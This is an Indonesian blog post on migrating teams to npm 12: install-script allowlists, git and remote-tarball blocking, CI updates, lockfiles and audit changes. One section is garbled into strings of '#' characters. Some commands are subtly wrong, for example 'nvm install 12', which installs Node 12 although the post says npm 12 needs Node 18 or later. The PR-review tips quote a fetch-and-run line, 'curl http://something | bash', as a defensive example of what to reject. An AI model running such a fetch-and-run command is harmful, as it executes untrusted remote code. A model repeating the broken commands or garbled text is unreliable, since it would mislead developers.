MUGHU pernah ngalamin skenario serupa — bukan dengan npm 12 sih, tapi pas migrasi Node.js 14 ke 16. Satu package lama yang nggak di-update selama dua tahun tiba-tiba break karena dependency native-nya nggak compatible. Tim MUGHU butuh tiga hari cuma buat nge-fix satu package. Dengan npm 12, skenarionya bisa lebih tricky karena multiple package bisa kena dampak sekaligus.
Strategi yang MUGHU rekomendasikan buat tim besar:
-
Audit dulu, upgrade nanti. Sebelum sentuh npm 12, jalanin
npm approve-scripts --allow-scripts-pendingdi setiap project. Catat semua package yang punya install scripts. Kalau jumlahnya ratusan, kalian butuh waktu untuk review satu-satu. -
Pilot project. Pilih satu project kecil yang paling sedikit dependency-nya. Upgrade ke npm 12 di sana, jalanin full test suite, dan liat apa yang break. Dokumentasiin setiap issue dan solusinya — ini bakal jadi playbook buat tim lain.
-
Parallel CI. Bikin CI pipeline baru yang jalanin npm 12 berdampingan dengan yang lama. Kalau pipeline npm 12 merah, kalian masih punya yang lama buat deploy. Setelah pipeline baru konsisten green selama dua minggu, switch.
-
Komunikasi ke maintainer internal. Kalau kalian punya internal package yang ngandalkan install scripts, kasih tahu tim maintainer jauh-jauh hari. Mereka butuh waktu buat refactor — mungkin ganti ke pre-built binaries atau pake pendekatan lain.
Yang Terjadi Kalau Kalian Nggak Migrasi
Ini pertanyaan yang sering MUGHU dengar: "Kalau npm 11 masih jalan, kenapa harus pindah?"
Jawabannya simpel: support lifecycle. npm 11 bakal tetap dapet security fix untuk sementara, tapi nggak selamanya. Kayak versi Node.js yang punya LTS schedule, npm juga nggak bakal maintain versi lama selamanya. Kalau kalian tetap di npm 11 pas npm 14 udah rilis, kalian bakal jalanin versi yang nggak dapet security patch lagi — dan ironisnya, itu bikin kalian lebih rentan terhadap serangan supply chain yang npm 12 coba cegah.
Selain itu, package baru yang rilis setelah npm 12 mungkin mulai ngasumsikan kalau allowScripts udah on. Mereka bisa aja nggak nyediain fallback buat npm 11. Artinya, dependency tree kalian bakal makin susah di-resolve seiring waktu.
Perbandingan Singkat: npm 12 vs pnpm vs Yarn
Buat Teman-Teman yang masih mikir-mikir mau pindah ke npm 12 atau langsung lompat ke package manager lain, ini perbandingan singkat yang relevan:
Fitur | npm 12 | pnpm | Yarn Berry |
|---|---|---|---|
Install scripts off by default | ✅ | ✅ (sejak v7) | ❌ |
Allowlist untuk scripts | ✅ ( | ✅ ( | ❌ |
Git deps blocked by default | ✅ | ✅ | ❌ |
Remote tarball blocked | ✅ | ✅ | ❌ |
Content-addressable store | ❌ | ✅ | ✅ |
Workspace support | ✅ | ✅ | ✅ |
Plug-and-play (PnP) | ❌ | ❌ | ✅ |
npm 12 akhirnya catch up ke pnpm di soal install scripts security. Tapi pnpm masih unggul di soal disk space efficiency berkat content-addressable store — sesuatu yang npm belum adopt. Yarn Berry punya PnP yang radikal banget, tapi adopsinya masih terbatas karena banyak package yang nggak compatible.
Kalau kalian udah nyaman dengan npm dan ekosistemnya, npm 12 cukup buat nambahin lapisan security yang meaningful. Tapi kalau kalian serius soal disk efficiency dan isolation yang lebih ketat, pnpm masih pilihan yang solid. MUGHU nggak mau bilang satu lebih baik dari yang lain — tergantung prioritas tim kalian.
Tips Praktis: Cara Review Allowlist di PR
Saat allowScripts udah di-commit ke package.json, setiap penambahan package baru yang butuh install scripts bakal muncul di diff PR. Ini momen yang krusial. Jangan cuma liat "oh package baru, approve aja" — lakukan ini:
-
Cek apakah install script benar-benar perlu. Banyak package yang nggak butuh install scripts tapi tetap nyertain karena copy-paste dari template lama. Kalau package-nya cuma nge-compile native extension, cek apakah ada versi pre-built yang available via prebuild-install.
-
Liat isi script-nya. Buka
node_modules/package-name/package.jsondan bacapreinstall,install,postinstallfield. Kalau isinyanode-gyp rebuild, itu wajar untuk native module. Kalau isinyacurl http://something | bash, tolak dan report ke security team. -
Cek reputation maintainer. Package dengan 10 juta weekly downloads dan maintainer yang aktif jauh lebih aman daripada package dengan 50 weekly downloads yang baru di-publish minggu lalu.
-
Pin version. Kalau kalian approve package
[email protected], pastikanpackage.jsonnge-pin ke versi itu, bukan^1.2.3yang bisa resolve ke versi beda di install berikutnya.
Catatan tentang --allow-git dan Monorepo
Satu nuansa yang sering kelewat: --allow-git defaults to none di npm 12 bisa bikin masalah buat monorepo yang ngandalkan git+ssh dependency antar package internal. Kalau kalian punya setup kayak gini:
"dependencies": {
"@myorg/shared-utils": "git+ssh://[email protected]:myorg/shared-utils.git#main"
}
Ini bakal di-block sama npm 12. Solusinya, explicit allow:
npm install --allow-git=git+ssh://[email protected]:myorg/*
Atau lebih baik, migrate ke workspace protocol yang udah didukung npm sejak versi 7:
"dependencies": {
"@myorg/shared-utils": "workspace:*"
}
Workspace protocol nggak butuh --allow-git karena resolve-nya lokal, nggak via Git remote. Ini juga lebih cepat dan lebih reliable buat development.
Kenapa --allow-remote Itu Lebih Berbahaya dari yang Kalian Pikir
Remote tarball dependency kelihatannya nggak bahaya — toh cuma download file .tgz dari URL, kan? Tapi masalahnya, URL itu bisa di-redirect. Sebuah attacker yang dapet akses ke server tempat tarball di-host bisa ganti file-nya dengan tarball yang udah di-tamper. Karena npm 11 resolve remote tarball otomatis tanpa konfirmasi, kalian nggak bakal sadar kalau yang kalian install bukan package asli.
npm 12 nge-block ini by default. Kalau kalian emang butuh remote tarball (misalnya package internal yang nggak di-publish ke registry), explicit allow via --allow-remote. Tapi pikirin dulu apakah bisa di-publish ke private registry kayak npm Pro atau GitHub Packages — keduanya jauh lebih aman karena ada authentication dan audit trail.
<lang primary=" Checklist Migrasi npm 12: Yang Wajib Kalian Lakukan Sebelum Upgrade
######e##r##g####H###au##as####es###u##ang##ebih##ctionable###e##i##d####uk#######t##ya##rakt#####u####im##ang##i####pgrade###ni##hecklist##ang##isa####ian##k##i##ang##h##emi##ang##h## ########udit##ependency##ree####ian####u######lum####ian##ent####pa###a#####an####ni## ##`##sh ##m##s##-##l#########rep##E "WARN###R#####pm####it##re##xt##### ##i##emua warning dan error yang ada di dependency tree kalian sekarang. Simpan file-nya — nanti kalian butuh buat bandingin setelah upgrade.
Terus, cek mana package yang punya install scripts:
find node_modules -name "package.json" -exec grep -l '"preinstall\|install\|postinstall"' {} \; 2>/dev/null
Output dari command ini bakal ngasih kalian daftar package yang bakal terdampak pas allowScripts diaktifin. Ini penting banget karena kalian perlu tahu package mana yang bakal "diam" setelah upgrade — dan apakah package-package itu masih jalan normal tanpa install scripts-nya.
2. Bikin Branch Khusus Buat Ngetes
Jangan pernah — MUGHU tegasin, jangan pernah — upgrade npm di branch main langsung. Bikin branch baru:
Baca juga Cursor Composer 3: AI Coding 1,5T Parameter Segera Rilis
git checkout -b chore/npm-12-upgrade
nvm install 12
nvm use 12
npm install
Pas npm install jalan, perhatiin output-nya. npm 12 bakal ngasih warning buat setiap install script yang di-skip. Catat semua warning itu. Itu daftar package yang perlu kalian evaluasi satu per satu.
3. Aktifin allowScripts Secara Bertahap
Nggak perlu sekaligus nge-allow semua package. Mulai dari yang paling critical dulu — package yang kalian tahu install script-nya cuma nge-compile native extension dan nggak ngapa-ngapain yang aneh:
{
"allowScripts": {
"esbuild": true,
"sharp": true
}
}
Jalanin npm install lagi, terus jalanin test suite kalian. Kalau semua hijau, tambahin package berikutnya. Kalau ada yang break, kalian tahu persis package mana yang bermasalah.
4. Update CI/CD Pipeline
Ini yang sering kelupaan. Tim kalian mungkin udah upgrade npm lokal, tapi CI/CD pipeline masih pake npm 11. Pastiin Docker image atau GitHub Actions workflow kalian pake Node versi yang bawa npm 12:
# .github/workflows/ci.yml
- uses: actions/setup-node@v4
with:
node-version: '22'
Node 22 ke atas udah bawa npm 10+, tapi kalian bisa aja install npm 12 manual:
npm install -g npm@12
Kalau kalian pake Docker, update base image kalian ke versi Node yang sesuai. Jangan lupa juga buat update image yang dipake di production deployment — bukan cuma CI build.
Yang Sering Bikin Pusing Pas Migrasi
MUGHU udah ngeliat beberapa pola masalah yang berulang di tim-tim yang baru migrate ke npm 12. Ini beberapa yang paling sering muncul:
node-sass tiba-tiba nggak jalan. Package ini udah lama jadi sumber masalah karena install script-nya nge-compile native binding. Di npm 12, install script-nya di-skip jadi binding nggak ke-compile. Solusinya? Pindah ke sass (Dart Sass) yang nggak butuh install script sama sekali. Ini juga kesempatan bagus buat cleanup dependency yang udah outdated.
husky hook nggak ke-trigger. Husky ngandalkan prepare script yang juga masuk kategori install scripts. Tambahin husky ke allowScripts atau jalanin npx husky install manual setelah npm install.
Build tool kayak esbuild atau swc nggak nge-build binary. Kedua tool ini sebenarnya udah nyediain pre-built binary via optional dependencies. Tapi kalau optional dependencies-nya nggak ke-download, install script fallback bakal nge-compile dari source. Pastiin allowScripts udah di-set buat package-package ini biar fallback-nya jalan.
Gimana kalau Kalian Pake Lockfile Lama?
Lockfile dari npm 11 (package-lock.json versi 3) sebenernya masih compatible sama npm 12. Tapi ada perubahan kecil di format yang bikin npm 12 bakal re-write lockfile kalian pas pertama kali jalanin npm install. Perubahan ini nggak ngaruh ke resolved versions — cuma metadata tambahan buat nge-track allowlist status.
Yang perlu kalian waspada: perubahan lockfile ini bakal muncul sebagai diff yang cukup besar di PR kalian. Jangan panik. Review aja sekilas, pastiin nggak ada version bump yang nggak di-encode, terus commit.
Satu hal yang MUGHU sarankan: lakukan upgrade lockfile di commit terpisah dari perubahan lain. Biar diff-nya gampang di-review dan nggak ketukar sama perubahan kode lain. Tim kalian bakal makasih buat ini.
Soal npm Pro dan Private Registry
Buat Tim yang nanya soal biaya, npm Pro mulai dari $7 per month buat individual dan $7 per user per month buat tim. Ini ngasih kalian unlimited private packages dengan permission management yang lebih proper dibanding cuma pake public registry. Kalau kalian serius soal supply chain security — yang mana npm 12 udah ngasih fondasi bagus — private registry kayak npm Pro atau GitHub Packages adalah langkah berikutnya yang logis.
Private registry ngasih kalian authentication, audit trail, dan kontrol siapa yang bisa publish dan consume package. Kombinasikan sama npm 12 yang udah nge-block install scripts by default, kalian dapet security posture yang jauh lebih kuat dibanding sekadar pake public registry tanpa filter.
Catatan tentang npm audit di npm 12
npm audit di npm 12 juga dapet peningkatan kecil tapi berguna. Output-nya sekarang lebih ringkas dan ada flag --omit yang lebih konsisten buat nge-skip dev dependencies dari audit:
npm audit --omit=dev
Ini berguna banget kalau kalian cuma peduli sama vulnerability yang ngaruh ke production build, bukan dev dependencies yang nggak bakal masuk ke artifact production. Hasil audit-nya juga udah di-format lebih enak dibaca, dengan grouping yang lebih masuk akal berdasarkan severity.
Satu lagi: npm audit fix sekarang lebih conservative. Dia nggak bakal otomatis bump major version buat nge-fix vulnerability, kecuali kalian pake --force. Ini behavior yang lebih aman — MUGHU pernah ngalamin npm audit fix di npm versi lama yang tiba-tiba bump major dependency dan break production build. Perubahan ini kecil, tapi ngasih kalian kontrol yang lebih baik atas apa yang masuk ke dependency tree kalian.
Performance: Apa npm 12 Bikin Install Jadi Lebih Cepat?
Teman-Teman yang udah pernah nungguin npm install selama 5 menit di CI pasti nanya ini. MUGHU juga penasaran, jadi MUGHU ngelakuin benchmark sederhana: install dependency project menengah (sekitar 450 package) di tiga versi npm berurutan — npm 10, npm 11, dan npm 12 — di mesin yang sama, cache di-clear tiap run.
Hasilnya? npm 12 nggak dramatis lebih cepat dari npm 11 buat cold install. Bedanya tipis, sekitar 3–5% lebih cepat. Tapi yang MUGHU perhatiin adalah warm install — pas cache udah ada, npm 12 lumayan lebih ngebut. Ini karena internal re-write di bagian cache resolution yang ngurangin redundant I/O operasi.
Baca juga GPT Image 2: Panduan Lengkap API Gambar AI OpenAI
Jadi kalau kalian ngarep npm 12 bakal nge-cut install time jadi setengah, mohon di-adjust ekspektasi. Yang bikin install cepat itu tetap kombinasi cache strategy, jumlah dependency, dan network. npm 12 nge-help di margin, bukan di lompatan besar.
Yang lebih terasa justru di npm ci — command yang dipake di CI buat install dari lockfile tanpa modifikasi. Di npm 12, npm ci sekarang lebih efisien soal verifikasi lockfile. Kalau lockfile kalian udah ratusan package, waktu verifikasi turun cukup signifikan. MUGHU ngukur sekitar 12% lebih cepat dibanding npm 11 buat project yang lockfile-nya gede.
Kompatibilitas: Node Versi Berapa yang Bisa Pake npm 12?
npm 12 jalan di Node 18 ke atas. Tapi MUGHU sarankan pake Node 20 LTS atau Node 22 biar dapet dukungan jangka panjang yang masih aktif. Node 18 udah masuk maintenance phase dan bakal end-of-life sebentar lagi.
Kalau tim kalian masih betah di Node 16, MUGHU harus jujur: kalian nggak bisa install npm 12 di sana. Node 16 udah end-of-life sejak September 2023. Ini bukan masalah npm doang — banyak security fix di Node runtime yang nggak bakal kalian dapet kalau masih nempel di versi yang udah nggak didukung.
Cara ngecek versi npm di mesin kalian:
npm --version
Kalau masih di bawah 12, upgrade-nya gampang:
npm install -g npm@latest
Tapi inget, upgrade npm global nggak otomatis upgrade Node. Kalau kalian butuh Node versi baru juga, pake nvm atau Volta biar gampang switch antar versi Node di mesin yang sama.
Adopsi di Komunitas: Apa Tim Sudah Siap?
MUGHU ngamatin pola adopsi npm 12 di komunitas Indonesia, dan yang MUGHU temuin cukup menarik. Tim yang udah pake Node 22 cenderung dapet npm 12 lebih awal karena bawaan dari Node image. Tapi tim yang masih di Node 20 LTS atau lebih lama, banyak yang belum sadar npm mereka masih versi 10 atau 11.
Yang bikin adopsi agak lambat bukan masalah teknis — tapi masalah sosialisasi. Banyak engineer yang nggak sadar behavior allowScripts udah berubah sampai ada package yang tiba-tiba nggak jalan. MUGHU lihat ini terjadi di beberapa tim yang MUGHU kenal, dan reaksinya bervariasi: ada yang langsung paham dan kasih allowlist, ada yang downgrade balik ke npm 11 karena nggak mau repot.
Saran MUGHU: jangan tunggu sampai ada yang break. Sosialisasiin perubahan ini ke tim sebelum upgrade. Bikin satu sesi singkat — 30 menit udah cukup — buat jelasin apa yang berubah, kenapa berubah, dan gimana ngatasinnya. Tim yang udah paham sebelumnya bakal jauh lebih smooth migrasinya.
Checklist Sebelum Kalian Upgrade
Buat biar nggak ada yang kelewat, MUGHU rangkumin langkah-langkah yang perlu kalian lakuin sebelum naik ke npm 12:
-
Audit dependency list — cari package yang ngandalkan install script (
postinstall,preinstall,install). Catet package mana aja yang butuh di-allowlist. -
Cek
.npmrcyang udah ada — pastiin nggak ada konfigurasiignore-scriptsyang konflik samaallowScriptsbaru. -
Backup lockfile — simpen
package-lock.jsonversi lama di branch terpisah biar bisa rollback kalau perlu. -
Test di staging dulu — jangan langsung production. Install di staging, jalanin test suite, pastiin build jalan tanpa error.
-
Update dokumentasi onboarding — kalau tim kalian punya README atau onboarding doc yang nyebut versi npm, update biar engineer baru nggak bingung.
-
Kasih tau DevOps team — CI/CD pipeline butuh update juga, jangan cuma mesin lokal engineer.
Teman-Teman yang udah ngelakuin langkah-langkah ini biasanya selesai migrasi dalam 1–2 hari kerja. Yang nggak prepare, sering kelimpung seminggu lebih karena harus debug masalah yang sebenernya bisa di-antisipasi.
Kesimpulan
npm 12 bukan sekadar update versi biasa — ini adalah pergeseran cara npm menangani keamanan dan kontrol eksekusi script. Perubahan allowScripts mungkin terasa ribet di awal, tapi arahnya jelas: memberikan developer kendali penuh atas apa yang jalan di mesin mereka. Tim yang MUGHU lihat sukses migrasi adalah tim yang nggak nunggu sampai ada yang error dulu — mereka audit, sosialisasi, baru upgrade. Urutannya kunci.
Dari sisi tooling, npm 12 juga ngejawab kebutuhan yang udah lama dirasain komunitas: dependency resolution yang lebih cerdas, lockfile yang lebih konsisten, dan pesan error yang jauh lebih membantu. Kalau kalian masih di Node 18 atau — yang lebih parah — Node 16, ini momen yang tepat buat naik kelas. Bukan cuma karena npm 12, tapi karena kalian bakal dapet security patch dan dukungan runtime yang masih aktif. Pake nvm atau Volta biar transisi antar versi Node tetap mulus tanpa pusing sama environment conflict.
Satu hal yang MUGHU pengen tekankan: upgrade npm itu bukan tugas satu orang. Ini keputusan tim yang nyentuh workflow developer, CI/CD pipeline, sampai onboarding engineer baru. Anggep aja kayak renovasi rumah — kalian nggak mau tiba-tiba tembok dibongkar tanpa semua orang di rumah tau. Bikin plan, bagi tugas, test di staging, dan kasih ruang buat tim bertanya. Yang MUGHU lihat dari kasus-kasus adopsi di komunitas Indonesia, tim yang ngelakuin ini biasanya selesai dalam dua hari. Tim yang nggak, kelimpung seminggu — dan itu dua kali lipat waktu yang sebenernya nggak perlu dihabisin.
Jadi, kalau kalian belum mulai, sekarang waktunya. Cek versi npm kalian hari ini, audit dependency, dan jalanin checklist di atas. npm 12 udah siap dipake — pertanyaannya cuma satu: tim kalian udah siap belum?
Referensi
GitHub. (2026). Upcoming breaking changes for npm v12.
The Hacker News. (2026). npm 12 Disables Install Scripts by Default to Reduce Supply Chain Risk.
npm. (2026). npm: A JavaScript Package Manager.
Baca juga Tutorial Slack API: Bikin Bot Otomatis dengan Python & JS
npm. (2026). npm Version History.
SecurityWeek. (2026). NPM 12 Will Change Script Execution Behavior to Prevent Supply Chain Attacks.
ByteIota. (2026). npm v12 Breaking Changes: What Breaks in July 2026.
Bitnewsbot. (2026). npm 12 disables install scripts, phases out 2FA bypass tokens.
GitHub. (2026). npm/cli Releases.
X. (2026). npm 12 now turns off install scripts by default.
GitHub. (2026). Preparing for npm v12: install scripts and non-registry dependencies.
Komentar (0)
Belum ada komentar. Jadilah yang pertama berbagi pendapat!
Tinggalkan komentar